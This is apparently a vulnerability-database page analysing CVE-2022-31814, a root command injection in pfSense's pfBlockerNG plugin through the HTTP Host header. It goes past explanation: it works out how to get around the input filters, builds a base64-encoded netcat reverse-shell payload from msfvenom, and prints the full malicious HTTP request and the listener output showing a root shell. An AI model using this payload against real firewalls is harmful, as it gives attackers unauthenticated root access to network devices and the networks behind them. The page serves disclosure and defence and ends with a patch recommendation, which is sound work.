Attacker Value
Very High
(1 user assessed)
Very High
(1 user assessed)
User Interaction
Privileges Required
Attack Vector


Disclosure Date: September 05, 2022
Add MITRE ATT&CK tactics and techniques that apply to this CVE.


pfSense pfBlockerNG through 2.1.4_26 allows remote attackers to execute arbitrary OS commands as root via shell metacharacters in the HTTP Host header. NOTE: 3.x is unaffected.

Add Assessment

Technical Analysis

pfSense’s pfBlockerNG plugin version 2.1.4_26 and versions below has remote command execution vulnerability that can be exploited without any authentication and will provide root access.
Credits go the IHTeam who discovered this vulnerability in September 2022. CVE-2022-31814 carries a CVSS score of 9.8 and this vulnerability is likely to be exploited in the wild.

pfBlockerNG ( is a pfSense plugin that is NOT installed by default and it’s generally used to block inbound connections from whole countries or IP ranges.
The vulnerability was identified in the file /usr/local/www/pfblockerng/www/index.php which is used to record and query DNSBL data. Specifically to query, the code uses PHP function exec(), passing untrusted data into the command line code below:

// Query DNSBL Alias for Domain List.
$query = str_replace('.', '\.', htmlspecialchars($_SERVER['HTTP_HOST']));

exec("/usr/bin/grep -l ' \"{$query} 60 IN A' /var/db/pfblockerng/dnsblalias/*", $match);

The $_SERVER[‘HTTP_HOST’] element passed in the above code, is a user-controllable input. An attacker can tamper with the HTTP_HOST parameter via the "Host:" header of the request.

There are a few restrictions in place that you need to bypass to make this work:

  • htmlspecialchars() PHP function was preventing the use of shell redirections (> and <), double quotes (“), and ampersand (&)
  • nginx web server won’t accept the forward slash (/) in the Host header, returning a 400 – Bad Request

Therefore, the only available characters to build a working payload were:

  • pipe (|)
  • semicolon (;)
  • single quote (‘)
  • spaces ( )

Other limitations are:

  • Python is installed on pfSense , but it does not have the symbolic links (python3, python), so you need to specifically mention the version a.k.a. python3.8
  • base64 is not installed, so for base64 decoding we will use the python3.8 -m base64 -d option

So let’s play around what we can do here…
To easily identify a valid payload, we can copy the original command in the exec() function and try to tamper with it directly in a shell:

/usr/bin/grep -l ‘ “INJECTION 60 IN A’ /var/db/pfblockerng/dnsblalias/*

In order to obtain a working PoC, we need:

  • Close the single quote
  • Specify a directory to search on
  • Break the command with a semicolon
  • Comment or add an additional single quote

A simple example is the sleep command below.

' *; sleep 5; '

This can be used as a simple test to see if your remote command execution works.

For more complex payloads that requires the restricted characters like forward slashes (/), double quotes (”“) and ampersand (&), we should encode our payload with base64 and decode using python3.8 for execution.

A simple netcat scenario is nc 4444 -e /bin/sh and encode it with base64, however the -e option is controlled by an ip_sec_policy on the pfSense firewall which restricts the usage of the -e option.
It is a still a firewall, right ;–)

So another alternative is to use the reverse netcat option generated with msfvenom that does not use the -e option.

# msfvenom -p cmd/unix/reverse_netcat LHOST= LPORT=4444 -f raw
[-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload
[-] No arch selected, selecting arch: cmd from the payload
No encoder specified, outputting raw payload
Payload size: 95 bytes
mkfifo /tmp/klmql; nc 4444 0</tmp/klmql | /bin/sh >/tmp/klmql 2>&1; rm /tmp/klmql
# echo 'mkfifo /tmp/klmql; nc 4444 0</tmp/klmql | /bin/sh >/tmp/klmql 2>&1; rm /tmp/klmql' | base64

Let’s take this encoded payload (please check for any restricted characters) and use python to decode payload for execution –> python3.8 -m base64 -d

Hence, the final payload to obtain a reverse netcat shell in pfSense would be as follows:

/usr/bin/grep -l ‘ “' * ; echo bWtmaWZvIC90bXAva2xtcWw7IG5jIDE5Mi4xNjguMTAwLjcgNDQ0NCAwPC90bXAva2xtcWwgfCAvYmluL3NoID4vdG1wL2tsbXFsIDI+JjE7IHJtIC90bXAva2xtcWwK | python3.8 -m base64 -d | sh ; ' 60 IN A’ /var/db/pfblockerng/dnsblalias/*

Let’s now use burpsuite to send our payload to the vulnerable pfblockerng plugin by manipulating the "Host:" header parameter to launch a netcat shell

GET /pfblockerng/www/index.php HTTP/1.1
Host: ' * ; echo bWtmaWZvIC90bXAva2xtcWw7IG5jIDE5Mi4xNjguMTAwLjcgNDQ0NCAwPC90bXAva2xtcWwgfCAvYmluL3NoID4vdG1wL2tsbXFsIDI+JjE7IHJtIC90bXAva2xtcWwK | python3.8 -m base64 -d | sh ; '

Click send and voila, we have established a netcat session on the attacker machine with root privileges.

# nc -lnvp 4444
listening on [any] 4444 ...
connect to [] from (UNKNOWN) [] 45051

As stated in the beginning of this analysis, pfSense default installation does not have the pfblockerng plugin installed by default, but unfortunately it is a popular plugin that is used on many installations of pfSense. It therefore makes it a very attractive target for malicious actors to explore.

There is already a Metasploit module available that exploits this vulnerability using php to launch a webshell and it has the options to spawn reverse shells.


Please update your pfBlockerNG plugin to the latest version.


IHTeam advisory
Metasploit Mainstream

CVSS V3 Severity and Metrics
Base Score:
9.8 Critical
Impact Score:
Exploitability Score:
Attack Vector (AV):
Attack Complexity (AC):
Privileges Required (PR):
User Interaction (UI):
Scope (S):
Confidentiality (C):
Integrity (I):
Availability (A):

General Information


  • netgate


  • pfblockerng
Technical Analysis